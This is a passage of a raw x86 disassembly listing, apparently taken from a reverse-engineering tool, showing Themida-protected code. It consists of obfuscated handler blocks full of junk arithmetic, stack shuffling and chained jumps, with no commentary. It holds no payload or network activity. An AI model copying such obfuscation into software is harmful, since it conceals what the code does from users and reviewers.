		sub	dword ptr [esp+4], 2B88194Eh
		add	dword ptr [esp+4], 404F5D17h
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 56F07233h
		sub	ebx, 4BAF45EDh
		jmp	loc_55F353
; ---------------------------------------------------------------------------


loc_55A932:				; CODE XREF: Themida_:00564697j
		mov	[esp], cx
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55A93B:				; CODE XREF: Themida_:005620BDj
		mov	[esp], esp
		jmp	loc_55AC45
; ---------------------------------------------------------------------------


loc_55A943:				; CODE XREF: Themida_:00550703j
		push	edi
		jmp	loc_55E934
; ---------------------------------------------------------------------------


loc_55A949:				; CODE XREF: Themida_:0055A3EDj
		sub	eax, edi
		jmp	loc_560DAF
; ---------------------------------------------------------------------------


loc_55A950:				; CODE XREF: Themida_:00559F50j
		push	esi
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_55A5F6
; ---------------------------------------------------------------------------


loc_55A95B:				; CODE XREF: Themida_:00559DBCj
		not	bh
		add	bh, 0FCh
		xor	bh, 0F0h
		add	dh, 24h
		add	dh, bh
		sub	dh, 24h
		pop	ebx
		xor	al, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5590FA
; ---------------------------------------------------------------------------


loc_55A979:				; CODE XREF: Themida_:0055DD24j
		pop	esi
		sub	esi, 6BF344EEh
		jmp	loc_55059C
; ---------------------------------------------------------------------------


loc_55A985:				; CODE XREF: Themida_:00551343j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_561AB8
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55A99B:				; CODE XREF: Themida_:005586CAj
		mov	[esp], edx
		mov	edx, 77994768h
		add	edi, 24B249Ah
		add	edi, edx
		sub	edi, 24B249Ah
		jmp	loc_55784E
; ---------------------------------------------------------------------------


loc_55A9B6:				; CODE XREF: Themida_:00551235j
		add	edi, 0B612B8Eh
		pop	esi
		push	esi
		jmp	loc_5629AE
; ---------------------------------------------------------------------------


loc_55A9C3:				; CODE XREF: Themida_:00551508j
		add	bl, 11h
		add	bl, dl
		push	eax
		mov	ah, 0E3h
		xor	ah, 0F2h
		sub	bl, ah
		pop	eax
		pop	edx
		mov	ecx, [esp]
		push	edx
		push	7DCBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55752F
; ---------------------------------------------------------------------------


loc_55AA08:				; CODE XREF: Themida_:005592B7j
		add	eax, edi
		jmp	loc_55F4A7
; ---------------------------------------------------------------------------


loc_55AA0F:				; CODE XREF: Themida_:00551026j
		or	ebx, 343F2991h
		add	ebx, 0E2E8BA73h
		sub	eax, ebx
		pop	ebx
		add	eax, 601E527Bh
		sub	eax, ebx
		sub	eax, 601E527Bh
		jmp	loc_55F7C9
; ---------------------------------------------------------------------------


loc_55AA2F:				; CODE XREF: Themida_:0055AC5Cj
		mov	eax, 157830CAh
		shr	eax, 7
		neg	eax
		jmp	loc_5597A4
; ---------------------------------------------------------------------------


loc_55AA3E:				; CODE XREF: Themida_:00555E74j
		xor	cl, 7Bh
		mov	ah, cl
		pop	ecx
		shr	ah, 1
		jmp	loc_5518C8
; ---------------------------------------------------------------------------


loc_55AA4B:				; CODE XREF: Themida_:0055EE21j
		pop	eax
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_5563D9
; ---------------------------------------------------------------------------


loc_55AA5D:				; CODE XREF: Themida_:00564881j
		and	edi, 45F33DEEh
		dec	edi
		sub	edi, 9680367Fh
		add	ebx, edi
		pop	edi
		push	ebx
		add	dword ptr [esp], 88F19BCh
		pop	edx
		sub	edx, 88F19BCh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5522AE
; ---------------------------------------------------------------------------


loc_55AA85:				; CODE XREF: Themida_:0055B60Ej
		and	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 22A159D3h
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shl	edx, 4
		push	edi
		mov	edi, 15292515h
		push	ebx
		jmp	loc_563598
; ---------------------------------------------------------------------------


loc_55AAA9:				; CODE XREF: Themida_:00561D1Cj
		push	dword ptr [esp]
		pop	ebx
		push	edx
		jmp	loc_55EAB0
; ---------------------------------------------------------------------------


loc_55AAB3:				; CODE XREF: Themida_:0055E5DBj
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		sub	bh, dl
		pop	dx
		sub	al, 94h
		sub	al, bh
		push	ebx
		mov	bl, 6Ah
		shr	bl, 2
		sub	bl, 9Bh
		push	ecx
		jmp	loc_5550FD
; ---------------------------------------------------------------------------


loc_55AAD9:				; CODE XREF: Themida_:0055FA36j
		xor	ebx, 88D6CDE5h
		mov	edx, ebx
		pop	ebx
		add	eax, 128C56C2h
		add	eax, edx
		push	esi
		mov	esi, 2CDD0C71h
		or	esi, 16EB3BB5h
		and	esi, 6B78471Ch
		jmp	loc_558547
; ---------------------------------------------------------------------------


loc_55AB00:				; CODE XREF: Themida_:0056327Fj
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 21B41A93h
		jmp	loc_55C106
; ---------------------------------------------------------------------------


loc_55AB14:				; CODE XREF: Themida_:005569D2j
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	edx, edx
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3085624Dh
		or	ebx, 10C038Ah
		shl	ebx, 8
		jmp	loc_55B0DC
; ---------------------------------------------------------------------------


loc_55AB41:				; CODE XREF: Themida_:0055197Cj
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5564D8
; ---------------------------------------------------------------------------


loc_55AB59:				; CODE XREF: Themida_:0055E130j
		add	eax, 0B15875F7h
		sub	edx, eax
		jmp	loc_555FEB
; ---------------------------------------------------------------------------
		lodsd
		push	0B7Eh
		mov	[esp], edx
		mov	edx, 43AF6A7Dh
		jmp	loc_5517D1
; ---------------------------------------------------------------------------


loc_55AB78:				; CODE XREF: Themida_:0055B41Bj
		add	esp, 4
		jmp	loc_55BA2F
; ---------------------------------------------------------------------------


loc_55AB80:				; CODE XREF: Themida_:00557DB7j
		add	ebp, 8D805D8Bh
		sub	edx, ebp
		pop	ebp
		push	edx
		pop	ebx
		jmp	loc_55B9FF
; ---------------------------------------------------------------------------


loc_55AB90:				; CODE XREF: Themida_:00554AE2j
		sub	eax, 44A0347Ch
		add	eax, 21E8129Eh
		jmp	loc_55E05B
; ---------------------------------------------------------------------------


loc_55AB9F:				; CODE XREF: Themida_:0055B6D0j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55ABA4:				; CODE XREF: Themida_:0055B6E4j
		sub	esi, 0FFFFFFFFh
		push	ebx
		mov	ebx, 11A13C51h
		xor	esi, ebx
		pop	ebx
		add	ecx, esi
		pop	esi
		jmp	loc_55E104
; ---------------------------------------------------------------------------


loc_55ABBB:				; CODE XREF: Themida_:0055E0FFj
		push	7798h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		mov	eax, edi
		pop	edi
		sub	ecx, 744C419Ch
		add	ecx, eax
		jmp	loc_5544EE
; ---------------------------------------------------------------------------


loc_55ABE1:				; CODE XREF: Themida_:0055B744j
		mov	[esp], edi
		push	ebx
		jmp	loc_55D73F
; ---------------------------------------------------------------------------


loc_55ABEA:				; CODE XREF: Themida_:0055474Bj
		push	eax
		mov	eax, 1
		add	ebp, eax
		jmp	loc_553FAD
; ---------------------------------------------------------------------------


loc_55ABF7:				; CODE XREF: Themida_:0055DECDj
		mov	ch, 7Ah
		or	ch, 0A8h
		or	ch, 5Eh
		dec	ch
		jmp	loc_55CD31
; ---------------------------------------------------------------------------


loc_55AC06:				; CODE XREF: Themida_:00552D71j
		not	ebp
		inc	ebp
		add	ebp, 432263CDh
		mov	esi, ebp
		pop	ebp
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_55408C
; ---------------------------------------------------------------------------


loc_55AC34:				; CODE XREF: Themida_:0055C412j
		pop	edx
		push	dx
		mov	dl, 5
		xor	cl, dl
		pop	dx
		shr	cl, 3
		jmp	loc_555BC9
; ---------------------------------------------------------------------------


loc_55AC45:				; CODE XREF: Themida_:0055A93Ej
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_55AA2F
; ---------------------------------------------------------------------------


loc_55AC61:				; CODE XREF: Themida_:0055AF96j
		push	dword ptr [esp]
		jmp	loc_55FAAF
; ---------------------------------------------------------------------------


loc_55AC69:				; CODE XREF: Themida_:0055F68Fj
		push	ecx
		add	dword ptr [esp], 20514D4h
		pop	ebp
		sub	ebp, 20514D4h
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5528C7
; ---------------------------------------------------------------------------


loc_55AC8D:				; CODE XREF: Themida_:0055F6CCj
		push	4233h
		mov	[esp], ebp
		jmp	loc_55CAD6
; ---------------------------------------------------------------------------


loc_55AC9A:				; CODE XREF: Themida_:00563046j
		mov	edx, 25592533h
		sub	eax, edx
		jmp	loc_55F71C
; ---------------------------------------------------------------------------


loc_55ACA6:				; CODE XREF: Themida_:0055E117j
		mov	ebp, 4AED5A48h
		jmp	loc_55BDBC
; ---------------------------------------------------------------------------


loc_55ACB0:				; CODE XREF: Themida_:005575F0j
		pop	ebx
		xor	ah, dh
		mov	dx, [esp]
		add	esp, 2
		add	bl, ah
		pop	eax
		sub	al, bl
		mov	ebx, [esp]
		jmp	loc_55C90A
; ---------------------------------------------------------------------------


loc_55ACC7:				; CODE XREF: Themida_:0055DA09j
		add	edi, 4
		add	edi, 4
		jmp	loc_552ECA
; ---------------------------------------------------------------------------


loc_55ACD5:				; CODE XREF: Themida_:0055B09Ej
		neg	edx
		jmp	loc_557048
; ---------------------------------------------------------------------------


loc_55ACDC:				; CODE XREF: Themida_:005572D3j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55ACE1:				; CODE XREF: Themida_:0055D514j
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, esi
		pop	esi
		jmp	loc_55BE38
; ---------------------------------------------------------------------------


loc_55ACF1:				; CODE XREF: Themida_:0055CA23j
		push	ecx
		mov	ecx, 18CE0ED3h
		and	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 58AA590Ch
		jmp	loc_557E54
; ---------------------------------------------------------------------------


loc_55AD05:				; CODE XREF: Themida_:0055B602j
		mov	bl, 78h
		shr	bl, 7
		jmp	loc_558131
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_553BAF
; ---------------------------------------------------------------------------


loc_55AD18:				; CODE XREF: Themida_:00560504j
		add	esp, 4
		sub	al, bl
		push	dx
		push	ecx
		mov	cl, 26h
		jmp	loc_56096C
; ---------------------------------------------------------------------------


loc_55AD27:				; CODE XREF: Themida_:00551AF8j
		push	3F847C4Ch
		mov	eax, [esp]
		add	esp, 4
		and	eax, 4D41749Dh
		push	edx
		mov	edx, 698C44D5h
		shr	edx, 1
		xchg	esi, edx
		dec	esi
		jmp	loc_561250
; ---------------------------------------------------------------------------


loc_55AD4A:				; CODE XREF: Themida_:0055EA23j
		push	dword ptr [esp]
		jmp	loc_560C65
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5592DB
; ---------------------------------------------------------------------------


loc_55AD62:				; CODE XREF: Themida_:0055CE37j
		push	540Fh
		jmp	loc_55DBAA
; ---------------------------------------------------------------------------


loc_55AD6C:				; CODE XREF: Themida_:0055EF0Aj
		add	esp, 4
		pop	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55AD89:				; CODE XREF: Themida_:0055712Cj
		sub	eax, 5E8F7E87h
		mov	esi, [esp]
		jmp	loc_55B70A
; ---------------------------------------------------------------------------


loc_55AD96:				; CODE XREF: Themida_:00552B79j
		mov	[esp], edx
		jmp	loc_55FD9C
; ---------------------------------------------------------------------------


loc_55AD9E:				; CODE XREF: Themida_:00552438j
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	3406h
		jmp	loc_55E85F
; ---------------------------------------------------------------------------


loc_55ADB1:				; CODE XREF: Themida_:00550614j
		push	edx
		mov	dl, 58h
		or	dl, 2Ch
		inc	dl
		inc	dl
		xor	dl, 0D2h
		sub	al, dl
		jmp	loc_55ECDA
; ---------------------------------------------------------------------------


loc_55ADC5:				; CODE XREF: Themida_:0055F077j
		sub	eax, 72256409h
		sub	eax, esi
		jmp	loc_55E5C1
; ---------------------------------------------------------------------------


loc_55ADD1:				; CODE XREF: Themida_:005572E6j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55E2CD
; ---------------------------------------------------------------------------


loc_55ADDF:				; CODE XREF: Themida_:005582C2j
		mov	eax, 1E9F58DDh
		jmp	loc_564E23
; ---------------------------------------------------------------------------


loc_55ADE9:				; CODE XREF: Themida_:005623C5j
		shr	edi, 2
		push	ebp
		jmp	loc_56314D
; ---------------------------------------------------------------------------


loc_55ADF2:				; CODE XREF: Themida_:00560B77j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_554BDC
; ---------------------------------------------------------------------------


loc_55AE01:				; CODE XREF: Themida_:00561CA8j
		pop	esp
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_556289
; ---------------------------------------------------------------------------


loc_55AE0E:				; CODE XREF: Themida_:00551B7Dj
		neg	edi
		shl	edi, 3
		not	edi
		sub	edi, 0FEE96AE5h
		mov	esi, edi
		pop	edi
		add	ebp, esi
		pop	esi
		push	4E92h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_556F63
; ---------------------------------------------------------------------------


loc_55AE32:				; CODE XREF: Themida_:0055E1ADj
		or	ecx, esi
		pop	esi
		add	ecx, 3A74181Eh
		xor	ecx, 5F6FC78Eh
		xor	edi, ecx
		jmp	loc_55A7E0
; ---------------------------------------------------------------------------


loc_55AE48:				; CODE XREF: Themida_:0056007Bj
		add	esp, 4
		pop	ebx
		add	eax, ebx
		jmp	loc_5655CC
; ---------------------------------------------------------------------------


loc_55AE56:				; CODE XREF: Themida_:0056016Cj
		shr	ebp, 6
		jmp	loc_5573FA
; ---------------------------------------------------------------------------


loc_55AE5E:				; CODE XREF: Themida_:00561FC8j
		pop	eax
		pop	ebp
		jmp	loc_55713E
; ---------------------------------------------------------------------------


loc_55AE65:				; CODE XREF: Themida_:0055407Fj
		add	esp, 4
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		sub	al, 7Ah
		add	al, dl
		push	small 1F23h
		mov	[esp], dx
		mov	dl, 7Ah
		add	al, dl
		mov	dx, [esp]
		add	esp, 2
		mov	dx, [esp]
		push	ebx
		push	esp
		jmp	loc_56292A
; ---------------------------------------------------------------------------


loc_55AE97:				; CODE XREF: Themida_:005545EBj
		add	cl, 16h
		xor	bh, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_558ED4
; ---------------------------------------------------------------------------


loc_55AEAA:				; CODE XREF: Themida_:005615D3j
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 5B0C566Ch
		jmp	loc_558634
; ---------------------------------------------------------------------------


loc_55AEBB:				; CODE XREF: Themida_:005513B3j
		pop	esi
		jmp	loc_55890E
; ---------------------------------------------------------------------------


loc_55AEC1:				; CODE XREF: Themida_:00555EAEj
		mov	edi, edx
		jmp	loc_55C91E
; ---------------------------------------------------------------------------


loc_55AEC8:				; CODE XREF: Themida_:00560D8Bj
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_55C392
; ---------------------------------------------------------------------------


loc_55AEDA:				; CODE XREF: Themida_:005617B3j
		mov	[esp], esi
		jmp	loc_552EDF
; ---------------------------------------------------------------------------


loc_55AEE2:				; CODE XREF: Themida_:0055EFEBj
		sub	al, 5Fh
		sub	al, dl
		add	al, 5Fh
		add	al, 6Bh
		pop	edx
		sub	al, 0DFh
		jmp	loc_55CDF2
; ---------------------------------------------------------------------------


loc_55AEF2:				; CODE XREF: Themida_:00552DF8j
		add	esp, 4
		jmp	loc_556165
; ---------------------------------------------------------------------------


loc_55AEFD:				; CODE XREF: Themida_:00552F58j
		mov	eax, 6DC3602Fh
		xor	edi, eax
		pop	eax
		shr	edi, 5
		inc	edi
		shl	edi, 4
		jmp	loc_562B50
; ---------------------------------------------------------------------------


loc_55AF11:				; CODE XREF: Themida_:00562949j
		push	esi
		jmp	loc_556A60
; ---------------------------------------------------------------------------


loc_55AF17:				; CODE XREF: Themida_:0055111Bj
		mov	esi, esp
		add	esi, 4
		jmp	loc_564C22
; ---------------------------------------------------------------------------


loc_55AF24:				; CODE XREF: Themida_:0055A399j
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55B5D8
; ---------------------------------------------------------------------------


loc_55AF32:				; CODE XREF: Themida_:00551276j
		push	eax
		mov	eax, 2D631371h
		sub	esp, 4
		mov	[esp], eax
		sub	dword ptr [esp], 45EB73F5h
		pop	esi
		jmp	loc_55757F
; ---------------------------------------------------------------------------


loc_55AF4B:				; CODE XREF: Themida_:0055D3C0j
		mov	ebp, 21BA55E2h
		push	edx
		push	edi
		mov	edi, 121168C0h
		jmp	loc_5531F8
; ---------------------------------------------------------------------------


loc_55AF5C:				; CODE XREF: Themida_:0055090Fj
		xor	ch, 0DDh
		sub	bl, ch
		mov	ecx, [esp]
		jmp	loc_555D36
; ---------------------------------------------------------------------------


loc_55AF69:				; CODE XREF: Themida_:00551974j
		push	1970h
		jmp	loc_55A54D
; ---------------------------------------------------------------------------


loc_55AF73:				; CODE XREF: Themida_:0055F878j
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		push	3288h
		mov	[esp], ebx
		push	4871h
		mov	[esp], eax
		push	4
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55AC61
; ---------------------------------------------------------------------------


loc_55AF9B:				; CODE XREF: Themida_:00555DC4j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56088D
; ---------------------------------------------------------------------------


loc_55AFB0:				; CODE XREF: Themida_:0055FBD2j
		dec	edx
		jmp	loc_55E4D5
; ---------------------------------------------------------------------------


loc_55AFB6:				; CODE XREF: Themida_:0055135Bj
		dec	ebp
		shr	ebp, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2409274Dh
		jmp	loc_550D6A
; ---------------------------------------------------------------------------


loc_55AFCC:				; CODE XREF: Themida_:00562085j
		mov	ecx, 34D0478Bh
		push	edx
		jmp	loc_5611FA
; ---------------------------------------------------------------------------


loc_55AFD7:				; CODE XREF: Themida_:005618D1j
		or	esi, 73990651h
		add	esi, 42C04B6Bh
		add	esi, 5C65505Eh
		sub	esi, 0A4B19B17h
		add	ebx, 121A2BB5h
		add	ebx, esi
		sub	ebx, 121A2BB5h
		mov	esi, [esp]
		push	esi
		jmp	loc_55271E
; ---------------------------------------------------------------------------


loc_55B006:				; CODE XREF: Themida_:005518A3j
		dec	edx
		jmp	loc_565A0C
; ---------------------------------------------------------------------------


loc_55B00C:				; CODE XREF: Themida_:0055A749j
		add	bh, ah
		sub	bh, 33h
		push	edx
		mov	dh, 7Eh
		jmp	loc_554F0F
; ---------------------------------------------------------------------------


loc_55B019:				; CODE XREF: Themida_:00553F8Cj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5542B4
; ---------------------------------------------------------------------------


loc_55B024:				; CODE XREF: Themida_:00560E7Fj
		push	ecx
		add	dword ptr [esp], 0FFFFFFFFh
		mov	ecx, [esp]
		jmp	loc_556DCC
; ---------------------------------------------------------------------------


loc_55B034:				; CODE XREF: Themida_:00559D97j
		sub	ebp, edi
		pop	edi
		add	ecx, 4B27253Bh
		add	ecx, ebp
		sub	ecx, 4B27253Bh
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_553BB9
; ---------------------------------------------------------------------------


loc_55B05B:				; CODE XREF: Themida_:005622A7j
		push	345Fh
		mov	[esp], ecx
		push	edx
		pop	ecx
		pop	edx
		xchg	eax, edx
		jmp	loc_565B1B
; ---------------------------------------------------------------------------


loc_55B06C:				; CODE XREF: Themida_:00563E67j
		add	ebp, 4C487B73h
		jmp	loc_55E545
; ---------------------------------------------------------------------------


loc_55B077:				; CODE XREF: Themida_:005643BFj
		pop	ecx
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5633FB
; ---------------------------------------------------------------------------


loc_55B086:				; CODE XREF: Themida_:00560731j
		push	edx
		jmp	loc_555E6A
; ---------------------------------------------------------------------------


loc_55B08C:				; CODE XREF: Themida_:005522FAj
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ebp
		push	edx
		mov	edx, 6BC45E19h
		jmp	loc_55ACD5
; ---------------------------------------------------------------------------


loc_55B0A3:				; CODE XREF: Themida_:00556D84j
		mov	ecx, 40655A4Eh
		sub	edi, 647A53E3h
		jmp	loc_55C060
; ---------------------------------------------------------------------------


loc_55B0B3:				; CODE XREF: Themida_:00551143j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	3144h
		mov	[esp], ecx
		mov	ecx, 1
		jmp	loc_5510AE
; ---------------------------------------------------------------------------


loc_55B0DC:				; CODE XREF: Themida_:0055AB3Cj
		shl	ebx, 6
		and	ebx, 613B04A0h
		xor	ebx, 40330004h
		jmp	loc_554B35
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1160234Ch
		push	ecx
		mov	ecx, 1160234Ch
		jmp	loc_554B97
; ---------------------------------------------------------------------------


loc_55B109:				; CODE XREF: Themida_:005622EFj
		push	7E6Eh
		mov	[esp], eax
		mov	al, 6Eh
		add	ch, al
		pop	eax
		jmp	loc_55C5DF
; ---------------------------------------------------------------------------


loc_55B11B:				; CODE XREF: Themida_:0055B84Bj
		pop	esi
		jmp	loc_559231
; ---------------------------------------------------------------------------


loc_55B121:				; CODE XREF: Themida_:00555CEFj
		mov	edx, [esp]
		add	esp, 4
		and	ecx, esi
		pop	esi
		add	ecx, 0FFC00004h
		jmp	loc_55EAD9
; ---------------------------------------------------------------------------


loc_55B138:				; CODE XREF: Themida_:0055A40Cj
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5525A9
; ---------------------------------------------------------------------------


loc_55B142:				; CODE XREF: Themida_:00563EEAj
		sub	eax, esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_557B27
; ---------------------------------------------------------------------------


loc_55B14F:				; CODE XREF: Themida_:00558F78j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55BD2E
; ---------------------------------------------------------------------------


loc_55B15C:				; CODE XREF: Themida_:00562090j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55B161:				; CODE XREF: Themida_:005648E4j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		push	esi
		push	59E52748h
		jmp	loc_563869
; ---------------------------------------------------------------------------


loc_55B179:				; CODE XREF: Themida_:00563010j
		mov	[esp], eax
		jmp	loc_56252F
; ---------------------------------------------------------------------------


loc_55B181:				; CODE XREF: Themida_:0055E2B1j
		mov	dl, 5Eh
		jmp	loc_562348
; ---------------------------------------------------------------------------


loc_55B188:				; CODE XREF: Themida_:0055F1C4j
		not	dword ptr [esp]
		mov	ebp, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_55A129
; ---------------------------------------------------------------------------


loc_55B196:				; CODE XREF: Themida_:00560460j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5638EA
; ---------------------------------------------------------------------------


loc_55B1A3:				; CODE XREF: Themida_:00565B92j
		push	5819h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_551F2D
; ---------------------------------------------------------------------------


loc_55B1B5:				; CODE XREF: Themida_:005587F0j
		push	6AB3h
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 208E670Bh
		push	esi
		push	edi
		mov	edi, 7842BCFh
		shl	edi, 6
		sub	edi, 4AE04A72h
		and	edi, 4D470879h
		not	edi
		and	edi, 524077E1h
		add	edi, 286FF3Ah
		mov	esi, edi
		pop	edi
		add	esi, 2BE15138h
		jmp	loc_55882A
; ---------------------------------------------------------------------------


loc_55B200:				; CODE XREF: Themida_:0056119Dj
		pop	esp
		jmp	loc_563144
; ---------------------------------------------------------------------------


loc_55B206:				; CODE XREF: Themida_:00554D89j
		pop	ebp
		xor	edx, 749BA004h
		or	esi, edx
		mov	edx, [esp]
		jmp	loc_55F694
; ---------------------------------------------------------------------------


loc_55B217:				; CODE XREF: Themida_:00559403j
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_556063
; ---------------------------------------------------------------------------


loc_55B228:				; CODE XREF: Themida_:0055DDB1j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 16511949h
		or	ebp, 1DEC24D6h
		xor	ebp, 1FFD3DDBh
		add	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5652FC
; ---------------------------------------------------------------------------


loc_55B253:				; CODE XREF: Themida_:0055F540j
		mov	edx, 510E5D6Dh
		sub	ebx, edx
		jmp	loc_55A69E
; ---------------------------------------------------------------------------


loc_55B25F:				; CODE XREF: Themida_:00553886j
		mov	ch, 7Eh
		push	edx
		mov	dh, 6Eh
		not	dh
		dec	dh
		not	dh
		jmp	loc_5564E8
; ---------------------------------------------------------------------------


loc_55B26F:				; CODE XREF: Themida_:0055F826j
		and	esi, 81D5109h
		xor	esi, 90E4C26Dh
		mov	edi, esi
		pop	esi
		jmp	loc_559296
; ---------------------------------------------------------------------------


loc_55B283:				; CODE XREF: Themida_:00551D64j
		shr	ebp, 8
		jmp	loc_5635FD
; ---------------------------------------------------------------------------


loc_55B28B:				; CODE XREF: Themida_:0056206Bj
		pop	small word ptr [esp]
		push	small 4B5Ch
		mov	[esp], di
		jmp	loc_5576DC
; ---------------------------------------------------------------------------


loc_55B29C:				; CODE XREF: Themida_:00564E3Bj
		pop	edi
		add	esi, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5535D2
; ---------------------------------------------------------------------------


loc_55B2C6:				; CODE XREF: Themida_:00558845j
		add	esp, 4
		push	ecx
		jmp	loc_55E53B
; ---------------------------------------------------------------------------


loc_55B2D2:				; CODE XREF: Themida_:0055F193j
		sub	edx, ebp
		pop	ebp
		mov	edi, edx
		pop	edx
		shr	edi, 3
		and	edi, 1CF7E74h
		or	edi, 65F94E64h
		not	edi
		push	46B9h
		mov	[esp], ebp
		mov	ebp, 9A009197h
		sub	edi, ebp
		pop	ebp
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_560A8A
; ---------------------------------------------------------------------------


loc_55B30C:				; CODE XREF: Themida_:00555037j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_561924
; ---------------------------------------------------------------------------


loc_55B31A:				; CODE XREF: Themida_:00560DECj
		pop	esp
		jmp	loc_556EC3
; ---------------------------------------------------------------------------


loc_55B320:				; CODE XREF: Themida_:0055D434j
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_5535F6
; ---------------------------------------------------------------------------


loc_55B329:				; CODE XREF: Themida_:0056426Fj
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5511D9
; ---------------------------------------------------------------------------


loc_55B33E:				; CODE XREF: Themida_:0055EACEj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		push	6808h
		jmp	loc_55811D
; ---------------------------------------------------------------------------


loc_55B35D:				; CODE XREF: Themida_:005638E5j
		mov	esi, 4100215Bh
		shr	esi, 2
		jmp	loc_56036A
; ---------------------------------------------------------------------------


loc_55B36A:				; CODE XREF: Themida_:0055F5C7j
		mov	[esp], ecx
		jmp	loc_55A329
; ---------------------------------------------------------------------------


loc_55B372:				; CODE XREF: Themida_:0055C509j
		pop	edx
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	eax, 4
		xchg	eax, [esp]
